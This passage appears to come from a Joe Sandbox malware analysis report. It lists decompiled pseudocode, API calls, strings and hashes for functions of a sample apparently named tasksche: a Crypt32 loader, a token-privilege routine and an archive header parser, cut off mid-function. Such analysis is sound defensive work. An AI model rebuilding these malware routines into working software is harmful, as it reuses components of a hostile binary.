Instruction Fuzzy Hash: 869119B1A006148FCB24DF5AC881A9EB7F1FF48308F1445AEE59AE7721D734E9948F48

Uniqueness

Uniqueness Score: -1.00%

Function 0040CEB6 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 23
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040CEB6(struct HINSTANCE__** __ecx) {
				void* _t5;
				struct HINSTANCE__* _t6;
				struct HINSTANCE__** _t12;

				_t12 = __ecx;
				if( *((char*)(__ecx + 4)) == 0) {
					_t6 = LoadLibraryW(L"Crypt32.dll");
					 *_t12 = _t6;
					if(_t6 != 0) {
						_t12[2] = GetProcAddress(_t6, "CryptProtectMemory");
						_t6 = GetProcAddress( *_t12, "CryptUnprotectMemory");
						_t12[3] = _t6;
					}
					_t12[1] = 1;
					return _t6;
				}
				return _t5;
			}

0x0040ceb7
0x0040cebd
0x0040cec4
0x0040ceca
0x0040cece
0x0040cee6
0x0040cee9
0x0040ceeb
0x0040ceee
0x0040ceef
0x00000000
0x0040ceef
0x0040cef4

APIs

LoadLibraryW.KERNEL32(Crypt32.dll,00000020,0040CF0E,00000020,?,?,00405D3C,?,00000020,00000001,00000000,?,00000010,?,?,?), ref: 0040CEC4
GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 0040CEDD
GetProcAddress.KERNEL32(00438800,CryptUnprotectMemory), ref: 0040CEE9

Strings

CryptUnprotectMemory, xrefs: 0040CEDF
CryptProtectMemory, xrefs: 0040CED7
Crypt32.dll, xrefs: 0040CEBF

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: Crypt32.dll$CryptProtectMemory$CryptUnprotectMemory
API String ID: 2238633743-1753850145
Opcode ID: 5fe6950aaff99067424b8bdf76d8a3167c7df5a56d66711809a8faa92a841fba
Instruction ID: 6e3b8f00ce2f8e0fa430b510b5536735c08c44b91adf59875fbb0715622b898a
Opcode Fuzzy Hash: 5fe6950aaff99067424b8bdf76d8a3167c7df5a56d66711809a8faa92a841fba
Instruction Fuzzy Hash: 7EE092306003119FD7319F79EC44B03BBE89F94B10B14846FE984E3250C6B8D4518B5D

Uniqueness

Uniqueness Score: -1.00%

Function 00406553 Relevance: 9.0, APIs: 6, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406553(WCHAR* _a4) {
				void* _v8;
				intOrPtr _v12;
				struct _TOKEN_PRIVILEGES _v24;
				long _t19;

				_t19 = 0;
				if(OpenProcessToken(GetCurrentProcess(), 0x20,  &_v8) != 0) {
					_v24.PrivilegeCount = 1;
					_v12 = 2;
					if(LookupPrivilegeValueW(0, _a4,  &(_v24.Privileges)) != 0 && AdjustTokenPrivileges(_v8, 0,  &_v24, 0, 0, 0) != 0 && GetLastError() == 0) {
						_t19 = 1;
					}
					CloseHandle(_v8);
				}
				return _t19;
			}

0x00406560
0x00406571
0x0040657a
0x00406582
0x00406591
0x004065b2
0x004065b2
0x004065b7
0x004065b7
0x004065c1

APIs

GetCurrentProcess.KERNEL32(00000020,?), ref: 00406562
OpenProcessToken.ADVAPI32(00000000), ref: 00406569
LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 00406589
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000001,00000000,00000000,00000000), ref: 0040659E
GetLastError.KERNEL32 ref: 004065A8
CloseHandle.KERNEL32(?), ref: 004065B7

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: ProcessToken$AdjustCloseCurrentErrorHandleLastLookupOpenPrivilegePrivilegesValue
String ID:
API String ID: 3398352648-0
Opcode ID: c4d8732f7f1e2046f43f8b45a71e1742e44d7c33346580acd03521233585be14
Instruction ID: 201d4201c496fcfd48e74424a9b99b2c6b7fcfb09556bcb8571a25bcb240e8ee
Opcode Fuzzy Hash: c4d8732f7f1e2046f43f8b45a71e1742e44d7c33346580acd03521233585be14
Instruction Fuzzy Hash: A0011DB1600209FFDB209FA4DC89EAF7BBCAB04344F401076B902E1255D775CE259A75

Uniqueness

Uniqueness Score: -1.00%

Function 00401CC1 Relevance: 7.8, APIs: 3, Strings: 1, Instructions: 769
COMMONCrypto

Download Yara Rule

C-Code - Quality: 95%

			E00401CC1(intOrPtr* __ecx, void* __eflags) {
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t334;
				unsigned int _t340;
				signed int _t344;
				signed int _t345;
				void* _t347;
				signed int _t349;
				char _t369;
				signed short _t376;
				signed int _t382;
				void* _t388;
				signed int _t389;
				signed int _t392;
				void* _t396;
				signed char _t401;
				char _t406;
				signed int _t414;
				char _t415;
				signed int _t418;
				signed int _t419;
				void* _t420;
				void* _t422;
				signed int _t429;
				signed short _t434;
				signed short _t439;
				signed char _t444;
				signed int _t448;
				signed int _t454;
				signed int _t461;
				signed int _t468;
				void* _t469;
				void* _t471;
				short* _t472;
				void* _t481;
				intOrPtr _t488;
				void* _t492;
				signed char _t495;
				signed int _t497;
				void* _t500;
				void* _t503;
				intOrPtr* _t509;
				signed int _t521;
				signed int _t526;
				signed int* _t530;
				unsigned int _t531;
				signed int _t533;
				signed int _t545;
				char _t556;
				char _t557;
				signed int _t559;
				signed int _t560;
				signed int* _t576;
				signed int _t620;
				signed int _t621;
				signed int _t622;
				signed int _t644;
				signed int _t646;
				signed int _t650;
				signed int _t652;
				void* _t653;
				void* _t656;
				signed int _t659;
				signed int _t660;
				signed int _t662;
				signed int _t665;
				signed int _t666;
				void* _t667;
				signed int _t669;
				signed int _t670;
				signed int _t671;
				unsigned int _t676;
				signed int _t677;
				intOrPtr _t680;
				signed int _t681;
				signed int _t683;
				void* _t685;
				signed int _t694;

				E0041A4DC(E00429562, _t685);
				E0041AAF0(0x2874);
				_push(_t677);
				_t509 = __ecx;
				E0040B736(_t685 - 0x48, __ecx);
				_t650 = 0;
				 *((intOrPtr*)(_t685 - 4)) = 0;
				if( *((char*)(__ecx + 0xb05c)) == 0) {
					L9:
					 *((char*)(_t685 - 0xe)) = 0;
					L11:
					E0040B4C8(_t685 - 0x48, _t650, 7);
					__eflags =  *((intOrPtr*)(_t685 - 0x34)) - _t650;
					if(__eflags == 0) {
						L5:
						E00401C37(_t509, _t644, _t696);
						L6:
						_t697 =  *((intOrPtr*)(_t685 - 0x48)) - _t650;
						if( *((intOrPtr*)(_t685 - 0x48)) != _t650) {
							_push( *((intOrPtr*)(_t685 - 0x48)));
							E0041A506(_t509, _t650, _t677, _t697);
						}
						_t334 = 0;
						L134:
						 *[fs:0x0] =  *((intOrPtr*)(_t685 - 0xc));
						return _t334;
					}
					 *(_t509 + 0x654c) = E0040B57A(_t685 - 0x48) & 0x0000ffff;
					 *(_t509 + 0x655c) = 0;
					_t677 = E0040B562(_t685 - 0x48) & 0x000000ff;
					_t340 = E0040B57A(_t685 - 0x48) & 0x0000ffff;
					 *(_t509 + 0x6554) = _t340;
					 *(_t509 + 0x655c) = _t340 >> 0x0000000e & 0x00000001;
					_t344 = E0040B57A(_t685 - 0x48) & 0x0000ffff;
					 *(_t509 + 0x6558) = _t344;
					 *(_t509 + 0x6550) = _t677;
					__eflags = _t344 - 7;
					if(__eflags >= 0) {
						_t677 = _t677 - 0x73;
						__eflags = _t677;
						_t652 = 3;
						if(_t677 == 0) {
							 *(_t509 + 0x6550) = 1;
						} else {
							_t677 = _t677 - 1;
							__eflags = _t677;
							if(_t677 == 0) {
								 *(_t509 + 0x6550) = 2;
							} else {
								_t677 = _t677 - 6;
								__eflags = _t677;
								if(_t677 == 0) {
									 *(_t509 + 0x6550) = _t652;
								} else {
									_t677 = _t677 - 1;
									__eflags = _t677;
									if(_t677 == 0) {
										 *(_t509 + 0x6550) = 5;
									}
								}
							}
						}
						_t521 =  *(_t509 + 0x6550);
						 *(_t509 + 0x6544) = _t521;
						__eflags = _t521 - 0x75;
						if(_t521 != 0x75) {
							__eflags = _t521 - 1;
							if(_t521 != 1) {
								L26:
								_t345 = _t344 + 0xfffffff9;
								__eflags = _t345;
								_push(_t345);
								L27:
								E0040B4C8(_t685 - 0x48, _t652);
								_t347 = E004010D4(_t509,  *(_t509 + 0x6558));
								asm("adc ecx, [ebx+0xb044]");
								 *((intOrPtr*)(_t509 + 0xb048)) = _t347 +  *((intOrPtr*)(_t509 + 0xb040));
								_t349 =  *(_t509 + 0x6550);
								 *((intOrPtr*)(_t509 + 0xb04c)) = 0;
								__eflags = _t349 - 1;
								if(__eflags == 0) {
									_t653 = _t509 + 0x6570;
									E00409B19(_t653);
									_t526 = 5;
									memcpy(_t653, _t509 + 0x654c, _t526 << 2);
									 *(_t509 + 0x6584) = E0040B57A(_t685 - 0x48);
									_t677 = E0040B5AF(_t685 - 0x48);
									_t530 = _t509 + 0x6578;
									_t531 =  *_t530;
									 *(_t509 + 0xb055) =  *_t530 & 0x00000001;
									 *(_t509 + 0xb054) = _t531 >> 0x00000003 & 0x00000001;
									 *(_t509 + 0xb057) = _t531 >> 0x00000002 & 0x00000001;
									 *(_t509 + 0xb05b) = _t531 >> 0x00000006 & 0x00000001;
									 *(_t509 + 0x6588) = _t677;
									 *(_t509 + 0xb05c) = _t531 >> 0x00000007 & 0x00000001;
									__eflags = _t677;
									if(_t677 != 0) {
										L114:
										_t369 = 1;
										__eflags = 1;
										L115:
										 *((char*)(_t509 + 0xb058)) = _t369;
										 *(_t509 + 0x658c) = _t531 >> 0x00000001 & 0x00000001;
										_t533 = _t531 >> 0x00000004 & 0x00000001;
										__eflags = _t533;
										 *(_t509 + 0xb059) = _t531 >> 0x00000008 & 0x00000001;
										 *(_t509 + 0xb05a) = _t533;
										L116:
										_t650 = 0;
										_t376 = E0040B6E6(_t685 - 0x48, 0);
										__eflags =  *(_t509 + 0x654c) - (_t376 & 0x0000ffff);
										if( *(_t509 + 0x654c) == (_t376 & 0x0000ffff)) {
											L128:
											__eflags =  *((intOrPtr*)(_t509 + 0xb04c)) -  *((intOrPtr*)(_t509 + 0xb044));
											if(__eflags > 0) {
												L131:
												_t680 =  *((intOrPtr*)(_t685 - 0x34));
												__eflags =  *((intOrPtr*)(_t685 - 0x48)) - _t650;
												if(__eflags != 0) {
													_push( *((intOrPtr*)(_t685 - 0x48)));
													E0041A506(_t509, _t650, _t680, __eflags);
												}
												_t334 = _t680;
												goto L134;
											}
											if(__eflags < 0) {
												goto L13;
											}
											__eflags =  *((intOrPtr*)(_t509 + 0xb048)) -  *((intOrPtr*)(_t509 + 0xb040));
											if(__eflags <= 0) {
												goto L13;
											}
											goto L131;
										}
										_t382 =  *(_t509 + 0x6550);
										__eflags = _t382 - 0x79;
										if(_t382 == 0x79) {
											goto L128;
										}
										__eflags = _t382 - 0x76;
										if(_t382 == 0x76) {
											goto L128;
										}
										__eflags = _t382 - 5;
										if(_t382 != 5) {
											L126:
											 *((char*)(_t509 + 0xb064)) = 1;
											E004062BA(0x4335ac, 3);
											__eflags =  *((char*)(_t685 - 0xe));
											if( *((char*)(_t685 - 0xe)) == 0) {
												goto L128;
											}
											E0040639F(4, _t509 + 0x1e, _t509 + 0x1e);
											 *((char*)(_t509 + 0xb065)) = 1;
											goto L6;
										}
										__eflags =  *(_t509 + 0x8906);
										if( *(_t509 + 0x8906) == 0) {
											goto L126;
										}
										E0040117B(_t685 - 0x58, _t644, _t509);
										 *((char*)(_t685 - 4)) = 1;
										_t388 =  *((intOrPtr*)( *_t509 + 0x10))();
										_t681 = 7;
										_t389 = _t388 - _t681;
										__eflags = _t389;
										asm("sbb edx, edi");
										 *((intOrPtr*)( *_t509 + 0xc))(_t389, _t644, 0);
										 *((char*)(_t685 - 0xd)) = 1;
										do {
											_t392 = E00408C2F(_t509);
											__eflags = _t392;
											if(_t392 != 0) {
												 *((char*)(_t685 - 0xd)) = 0;
											}
											_t681 = _t681 - 1;
											__eflags = _t681;
										} while (_t681 != 0);
										 *((char*)(_t685 - 4)) = 0;
										 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t685 - 0x58)))) + 0xc))( *((intOrPtr*)(_t685 - 0x50)),  *(_t685 - 0x4c), _t650);
										__eflags =  *((char*)(_t685 - 0xd));
										if( *((char*)(_t685 - 0xd)) != 0) {
											goto L128;
										}
										goto L126;
									}
									_t369 = 0;
									__eflags =  *(_t509 + 0x6584);
									if( *(_t509 + 0x6584) == 0) {
										goto L115;
									}
									goto L114;
								}
								if(__eflags <= 0) {
									L110:
									__eflags =  *(_t509 + 0x6554) & 0x00008000;
									if(( *(_t509 + 0x6554) & 0x00008000) != 0) {
										 *((intOrPtr*)(_t509 + 0xb048)) =  *((intOrPtr*)(_t509 + 0xb048)) + E0040B5AF(_t685 - 0x48);
										asm("adc dword [ebx+0xb04c], 0x0");
									}
									goto L116;
								}
								__eflags = _t349 - _t652;
								if(_t349 <= _t652) {
									__eflags = _t349 - 2;
									 *((char*)(_t685 - 0xd)) = _t349 == 2;
									__eflags =  *((char*)(_t685 - 0xd));
									_t396 = _t509 + 0x65e8;
									if( *((char*)(_t685 - 0xd)) == 0) {
										_t396 = _t509 + 0x8928;
									}
									_t656 = _t396;
									 *(_t685 - 0x14) = _t396;
									E00409B44(_t656, 0);
									_t545 = 5;
									memcpy(_t656, _t509 + 0x654c, _t545 << 2);
									_t683 =  *(_t685 - 0x14);
									 *(_t683 + 0x1088) =  *(_t683 + 8) & 0x00000001;
									_t401 =  *(_t683 + 8);
									 *(_t683 + 0x1089) = _t401 >> 0x00000001 & 0x00000001;
									 *(_t683 + 0x108b) = _t401 >> 0x00000002 & 0x00000001;
									__eflags =  *((char*)(_t685 - 0xd));
									 *(_t683 + 0x1090) = _t401 >> 0x0000000a & 0x00000001;
									if( *((char*)(_t685 - 0xd)) == 0) {
										L40:
										_t556 = 0;
										__eflags = 0;
										goto L41;
									} else {
										__eflags = _t401 & 0x00000010;
										if((_t401 & 0x00000010) == 0) {
											goto L40;
										}
										_t556 = 1;
										L41:
										__eflags =  *((char*)(_t685 - 0xd));
										_t677 =  *(_t685 - 0x14);
										 *((char*)(_t677 + 0x10e0)) = _t556;
										if( *((char*)(_t685 - 0xd)) != 0) {
											L44:
											_t557 = 0;
											__eflags = 0;
											L45:
											 *((char*)(_t677 + 0x10ea)) = _t557;
											_t559 = _t401 & 0x000000e0;
											__eflags = _t559 - 0xe0;
											_t560 = _t559 & 0xffffff00 | _t559 == 0x000000e0;
											 *(_t677 + 0x10e1) = _t560;
											__eflags = _t560;
											if(_t560 == 0) {
												_t646 = 0x10000 << (_t401 >> 0x00000005 & 0x00000007);
												__eflags = 0x10000;
											} else {
												_t646 = 0;
											}
											 *(_t677 + 0x10e2) = _t401 >> 0x00000003 & 0x00000001;
											 *(_t677 + 0x10e4) = _t646;
											 *(_t677 + 0x10e3) = _t401 >> 0x0000000b & 0x00000001;
											 *((intOrPtr*)(_t677 + 0x14)) = E0040B5AF(_t685 - 0x48);
											 *(_t685 - 0x1c) = E0040B5AF(_t685 - 0x48);
											_t406 = E0040B562(_t685 - 0x48);
											_t659 = 2;
											 *((char*)(_t677 + 0x18)) = _t406;
											 *(_t677 + 0x1060) = _t659;
											 *((intOrPtr*)(_t677 + 0x1064)) = E0040B5AF(_t685 - 0x48);
											 *(_t685 - 0x20) = E0040B5AF(_t685 - 0x48);
											 *(_t677 + 0x19) = E0040B562(_t685 - 0x48);
											 *((char*)(_t677 + 0x1a)) = E0040B562(_t685 - 0x48) - 0x30;
											 *(_t685 - 0x14) = E0040B57A(_t685 - 0x48) & 0x0000ffff;
											_t414 = E0040B5AF(_t685 - 0x48);
											 *(_t677 + 0x108c) =  *(_t677 + 0x108c) & 0x00000000;
											__eflags =  *((char*)(_t677 + 0x108b));
											 *(_t677 + 0x1c) = _t414;
											if( *((char*)(_t677 + 0x108b)) == 0) {
												L57:
												_t644 =  *((intOrPtr*)(_t677 + 0x18));
												 *(_t677 + 0x10ec) = _t659;
												__eflags = _t644 - 3;
												if(_t644 == 3) {
													L61:
													 *(_t677 + 0x10ec) = 1;
													L62:
													_t660 = 0;
													_t576 = _t677 + 0x10f0;
													 *_t576 = 0;
													__eflags = _t644 - 3;
													if(_t644 == 3) {
														_t644 = _t414 & 0x0000f000;
														__eflags = _t644 - 0xa000;
														if(_t644 == 0xa000) {
															 *_t576 = 1;
															__eflags = 0;
															 *((short*)(_t677 + 0x10f4)) = 0;
														}
													}
													__eflags =  *((char*)(_t685 - 0xd));
													if( *((char*)(_t685 - 0xd)) != 0) {
														L68:
														_t415 = 0;
														__eflags = 0;
														goto L69;
													} else {
														__eflags = _t414;
														if(_t414 >= 0) {
															goto L68;
														}
														_t415 = 1;
														L69:
														 *((char*)(_t677 + 0x10e8)) = _t415;
														_t418 =  *(_t677 + 8) >> 0x00000008 & 0x00000001;
														__eflags = _t418;
														 *(_t677 + 0x10e9) = _t418;
														if(_t418 == 0) {
															__eflags =  *(_t685 - 0x1c) - 0xffffffff;
															 *((intOrPtr*)(_t685 - 0x18)) = _t660;
															_t131 =  *(_t685 - 0x1c) == 0xffffffff;
															__eflags = _t131;
															_t419 = _t418 & 0xffffff00 | _t131;
															L75:
															 *(_t677 + 0x108a) = _t419;
															_t420 = E0041ABD0(_t660, 0, 0, 1);
															asm("adc edx, edi");
															 *((intOrPtr*)(_t677 + 0x1048)) = _t420 +  *((intOrPtr*)(_t677 + 0x14));
															 *(_t677 + 0x104c) = _t644;
															_t422 = E0041ABD0( *((intOrPtr*)(_t685 - 0x18)), 0, 0, 1);
															asm("adc edx, ecx");
															 *(_t677 + 0x1050) = _t422 +  *(_t685 - 0x1c);
															 *(_t677 + 0x1054) = _t644;
															__eflags =  *(_t677 + 0x108a);
															if( *(_t677 + 0x108a) != 0) {
																 *(_t677 + 0x1050) = 0x7fffffff;
																 *(_t677 + 0x1054) = 0x7fffffff;
															}
															_t662 = 0x1fff;
															__eflags =  *(_t685 - 0x14) - 0x1fff;
															if( *(_t685 - 0x14) < 0x1fff) {
																_t662 =  *(_t685 - 0x14);
															}
															E0040B696(_t685 - 0x48, _t685 - 0x2880, _t662);
															__eflags =  *((char*)(_t685 - 0xd));
															 *((char*)(_t685 + _t662 - 0x2880)) = 0;
															if( *((char*)(_t685 - 0xd)) == 0) {
																 *((intOrPtr*)(_t685 - 0x18)) = _t677 + 0x20;
																E00411B3C(_t685 - 0x2880, _t677 + 0x20, 0x800);
																_t665 =  *((intOrPtr*)(_t677 + 0xc)) -  *(_t685 - 0x14) - 0x20;
																__eflags =  *(_t677 + 8) & 0x00000400;
																if(( *(_t677 + 8) & 0x00000400) != 0) {
																	_t665 = _t665 - 8;
																	__eflags = _t665;
																}
																__eflags = _t665;
																if(_t665 > 0) {
																	E00401C1D(_t677 + 0x1020, _t665);
																	E0040B696(_t685 - 0x48,  *((intOrPtr*)(_t677 + 0x1020)), _t665);
																	_t461 = E0041AA21( *((intOrPtr*)(_t685 - 0x18)), 0x42a494);
																	__eflags = _t461;
																	if(_t461 == 0) {
																		_t644 =  *( *((intOrPtr*)(_t677 + 0x1020)) + 9) & 0x000000ff;
																		 *(_t509 + 0x652c) =  *(_t509 + 0x652c) & 0x00000000;
																		 *((intOrPtr*)(_t509 + 0x6528)) = E0041ABD0((((( *( *((intOrPtr*)(_t677 + 0x1020)) + 0xb) & 0x000000ff) << 8) + ( *( *((intOrPtr*)(_t677 + 0x1020)) + 0xa) & 0x000000ff) << 8) + _t644 << 8) + ( *( *((intOrPtr*)(_t677 + 0x1020)) + 8) & 0x000000ff),  *(_t509 + 0x652c), 0x200, 0);
																		 *(_t509 + 0x652c) = _t644;
																		 *((intOrPtr*)(_t685 - 0x28)) =  *((intOrPtr*)( *_t509 + 0x10))();
																		 *(_t685 - 0x24) = _t644;
																		_t468 = E00410B07( *((intOrPtr*)(_t509 + 0x6528)),  *(_t509 + 0x652c), _t467, _t644);
																		 *(_t509 + 0x6530) = _t468;
																		_t670 = _t468;
																		_t469 = E0041AB20( *((intOrPtr*)(_t685 - 0x28)),  *(_t685 - 0x24), 0xc8, 0);
																		asm("adc edx, [ebx+0x652c]");
																		_t471 = E00410B07(_t469 +  *((intOrPtr*)(_t509 + 0x6528)), _t644,  *((intOrPtr*)(_t685 - 0x28)),  *(_t685 - 0x24));
																		__eflags = _t471 - _t670;
																		if(_t471 > _t670) {
																			_t671 = _t670 + 1;
																			__eflags = _t671;
																			 *(_t509 + 0x6530) = _t671;
																		}
																	}
																}
																_t429 = E0041AA21( *((intOrPtr*)(_t685 - 0x18)), "CMT");
																__eflags = _t429;
																if(_t429 == 0) {
																	 *((char*)(_t509 + 0xb056)) = 1;
																}
															} else {
																__eflags =  *(_t677 + 8) & 0x00000200;
																if(( *(_t677 + 8) & 0x00000200) == 0) {
																	_t472 = _t677 + 0x20;
																	_t609 = 0;
																	__eflags = 0;
																	 *((intOrPtr*)(_t685 - 0x18)) = _t472;
																	 *_t472 = 0;
																} else {
																	E0040612E(_t685 - 0x5c);
																	_t481 = E0041AA60(_t685 - 0x2880);
																	 *((intOrPtr*)(_t685 - 0x18)) = _t677 + 0x20;
																	_t609 = _t685 - 0x5c;
																	E0040613F(_t685 - 0x5c, _t685 - 0x2880, _t685 + _t481 + 1 - 0x2880,  *(_t685 - 0x14) - _t481 + 1, _t677 + 0x20, 0x800);
																}
																E00410B32(_t685 - 0x2880, _t685 - 0x880, 0x800);
																E0040A386(_t609, _t685 - 0x880,  *((intOrPtr*)(_t685 - 0x18)),  *((intOrPtr*)(_t685 - 0x18)), 0x800);
																E00401A7E(_t509, _t677);
															}
															__eflags =  *(_t677 + 8) & 0x00000400;
															if(( *(_t677 + 8) & 0x00000400) != 0) {
																E0040B696(_t685 - 0x48, _t677 + 0x1091, 8);
															}
															E00411650( *(_t685 - 0x20));
															__eflags =  *(_t677 + 8) & 0x00001000;
															if(( *(_t677 + 8) & 0x00001000) == 0) {
																L107:
																 *((intOrPtr*)(_t509 + 0xb048)) =  *((intOrPtr*)(_t509 + 0xb048)) +  *((intOrPtr*)(_t677 + 0x1048));
																asm("adc [ebx+0xb04c], eax");
																 *(_t685 - 0x24) =  *(_t677 + 0x10e2);
																_t434 = E0040B6E6(_t685 - 0x48,  *(_t685 - 0x24));
																__eflags =  *_t677 - (_t434 & 0x0000ffff);
																if( *_t677 != (_t434 & 0x0000ffff)) {
																	 *((char*)(_t509 + 0xb064)) = 1;
																	E004062BA(0x4335ac, 1);
																	__eflags =  *((char*)(_t685 - 0xe));
																	if( *((char*)(_t685 - 0xe)) == 0) {
																		E0040639F(0x1a, _t509 + 0x1e,  *((intOrPtr*)(_t685 - 0x18)));
																	}
																}
																goto L116;
															} else {
																_t439 = E0040B57A(_t685 - 0x48);
																 *(_t685 - 0x4c) =  *(_t685 - 0x4c) & 0x00000000;
																_t217 = _t685 - 0x14;
																 *_t217 =  *(_t685 - 0x14) & 0x00000000;
																__eflags =  *_t217;
																 *((intOrPtr*)(_t685 - 0x58)) = _t509 + 0x7618;
																 *((intOrPtr*)(_t685 - 0x54)) = _t509 + 0x7620;
																 *((intOrPtr*)(_t685 - 0x50)) = _t509 + 0x7628;
																 *(_t685 - 0x24) = _t439 & 0xffff;
																 *(_t685 - 0x1c) = 0xc;
																do {
																	_t666 =  *(_t685 +  *(_t685 - 0x14) * 4 - 0x58);
																	_t444 =  *(_t685 - 0x24) >>  *(_t685 - 0x1c);
																	 *(_t685 - 0x20) = _t444;
																	__eflags = _t444 & 0x00000008;
																	if((_t444 & 0x00000008) == 0) {
																		goto L106;
																	}
																	__eflags = _t666;
																	if(_t666 == 0) {
																		goto L106;
																	}
																	__eflags =  *(_t685 - 0x14);
																	if( *(_t685 - 0x14) != 0) {
																		E00411650(E0040B5AF(_t685 - 0x48));
																	}
																	E004113F1(_t666, _t685 - 0x80);
																	__eflags =  *(_t685 - 0x20) & 0x00000004;
																	if(( *(_t685 - 0x20) & 0x00000004) != 0) {
																		_t242 = _t685 - 0x6c;
																		 *_t242 =  *(_t685 - 0x6c) + 1;
																		__eflags =  *_t242;
																	}
																	 *(_t685 - 0x68) =  *(_t685 - 0x68) & 0x00000000;
																	_t448 =  *(_t685 - 0x20) & 0x00000003;
																	__eflags = _t448;
																	if(_t448 <= 0) {
																		L105:
																		E00411541( *(_t685 +  *(_t685 - 0x14) * 4 - 0x58), _t685 - 0x80);
																	} else {
																		_t667 = 3;
																		_t669 = _t667 - _t448 << 3;
																		__eflags = _t669;
																		 *(_t685 - 0x20) = _t448;
																		do {
																			_t454 = (E0040B562(_t685 - 0x48) & 0x000000ff) << _t669;
																			_t669 = _t669 + 8;
																			 *(_t685 - 0x68) =  *(_t685 - 0x68) | _t454;
																			_t251 = _t685 - 0x20;
																			 *_t251 =  *(_t685 - 0x20) - 1;
																			__eflags =  *_t251;
																		} while ( *_t251 != 0);
																		goto L105;
																	}
																	L106:
																	 *(_t685 - 0x1c) =  *(_t685 - 0x1c) - 4;
																	 *(_t685 - 0x14) =  *(_t685 - 0x14) + 1;
																	__eflags =  *(_t685 - 0x1c) - 0xfffffffc;
																} while ( *(_t685 - 0x1c) > 0xfffffffc);
																goto L107;
															}
														}
														_t660 = E0040B5AF(_t685 - 0x48);
														_t488 = E0040B5AF(_t685 - 0x48);
														__eflags =  *(_t685 - 0x1c) - 0xffffffff;
														 *((intOrPtr*)(_t685 - 0x18)) = _t488;
														if( *(_t685 - 0x1c) != 0xffffffff) {
															L73:
															_t419 = 0;
															goto L75;
														}
														__eflags = _t488 - 0xffffffff;
														if(_t488 != 0xffffffff) {
															goto L73;
														}
														_t419 = 1;
														goto L75;
													}
												}
												__eflags = _t644 - 5;
												if(_t644 == 5) {
													goto L61;
												}
												__eflags = _t644 - 6;
												if(_t644 < 6) {
													 *(_t677 + 0x10ec) =  *(_t677 + 0x10ec) & 0x00000000;
												}
												goto L62;
											} else {
												_t620 = ( *(_t677 + 0x19) & 0x000000ff) - 0xd;
												__eflags = _t620;
												if(_t620 == 0) {
													 *(_t677 + 0x108c) = 1;
													goto L57;
												}
												_t621 = _t620 - _t659;
												__eflags = _t621;
												if(_t621 == 0) {
													 *(_t677 + 0x108c) = _t659;
													goto L57;
												}
												_t622 = _t621 - 5;
												__eflags = _t622;
												if(_t622 == 0) {
													L54:
													 *(_t677 + 0x108c) = 3;
													goto L57;
												}
												__eflags = _t622 == 6;
												if(_t622 == 6) {
													goto L54;
												}
												 *(_t677 + 0x108c) = 4;
												goto L57;
											}
										}
										__eflags = _t401 & 0x00000010;
										if((_t401 & 0x00000010) == 0) {
											goto L44;
										}
										_t557 = 1;
										goto L45;
									}
								}
								__eflags = _t349 - 5;
								if(_t349 != 5) {
									goto L110;
								} else {
									_push(_t349);
									_t492 = memcpy(_t509 + 0x88e8, _t509 + 0x654c, 0 << 2);
									_t676 =  *_t492;
									 *(_t509 + 0x8904) =  *_t492 & 0x00000001;
									 *(_t509 + 0x8906) = _t676 >> 0x00000002 & 0x00000001;
									_t495 = _t676 >> 0x00000001 & 0x00000001;
									_t677 = _t509 + 0x8907;
									 *(_t509 + 0x8905) = _t495;
									 *_t677 = _t676 >> 0x00000003 & 0x00000001;
									__eflags = _t495;
									if(_t495 != 0) {
										 *((intOrPtr*)(_t509 + 0x88fc)) = E0040B5AF(_t685 - 0x48);
									}
									__eflags =  *_t677;
									if( *_t677 != 0) {
										_t497 = E0040B57A(_t685 - 0x48) & 0x0000ffff;
										 *(_t509 + 0x8900) = _t497;
										 *(_t509 + 0xb078) = _t497;
									}
									goto L116;
								}
							}
							__eflags =  *(_t509 + 0x6554) & 0x00000002;
							if(( *(_t509 + 0x6554) & 0x00000002) != 0) {
								goto L23;
							}
							goto L26;
						}
						L23:
						_push(6);
						goto L27;
					}
					L13:
					E00401C80(_t509);
					goto L6;
				}
				_t644 =  *(__ecx + 0xb044);
				_t500 =  *((intOrPtr*)(__ecx + 0xb060)) + 7;
				asm("adc ecx, edi");
				_t694 = _t644;
				if(_t694 < 0 || _t694 <= 0 &&  *((intOrPtr*)(__ecx + 0xb040)) <= _t500) {
					goto L9;
				} else {
					 *((char*)(_t685 - 0xe)) = 1;
					E00401BBB(_t509);
					_t503 =  *((intOrPtr*)( *_t509 + 8))(_t685 - 0x28, 8);
					_t696 = _t503 - 8;
					if(_t503 == 8) {
